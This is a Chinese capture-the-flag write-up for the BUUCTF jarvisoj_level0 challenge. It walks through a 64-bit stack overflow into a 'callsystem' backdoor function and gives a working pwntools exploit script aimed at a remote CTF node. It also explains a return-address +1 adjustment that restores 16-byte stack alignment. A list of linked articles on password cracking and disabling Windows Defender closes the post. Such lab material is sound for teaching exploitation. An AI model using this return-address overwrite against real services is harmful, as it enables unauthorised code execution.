BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
Whoami!9 小时前
❿⁄₁₂ ⟦ OSCP ⬖ 研记 ⟧ 密码攻击实践 ➱ 获取并破解Net-NTLMv2哈希(上)
网络安全·信息安全·密码破解·net-ntlmv2
内心如初12 小时前
02_等保系列之标准体系和主要标准
网络安全·等保测评·等保测评从0-1·等保测评笔记
heze0913 小时前
sqli-labs-Less-14自动化注入方法
mysql·网络安全·自动化
Bruce_Liuxiaowei13 小时前
如何彻底禁用 Windows Defender(附安全模式终极方案)
windows·安全·网络安全·内网渗透
海星船长丶14 小时前
Phar漏洞,PHP_filter,文件包含漏洞,include结合phar
网络安全·php·信息与通信
heze0914 小时前
sqli-labs-Less-15自动化注入方法
mysql·网络安全·自动化
芥子沫15 小时前
iStoreOS_24.10.4 兼容性列表及镜像下载地址&更新日志
网络安全·软路由·istoreos
枫叶丹415 小时前
【Qt开发】Qt系统(七)-> Qt网络安全
c语言·开发语言·c++·qt·网络安全
Ancelin安心1 天前
kali-dirsearch的使用
linux·运维·服务器·python·计算机网络·web安全·网络安全
HarmonLTS1 天前
Python Socket网络通信详解
服务器·python·网络安全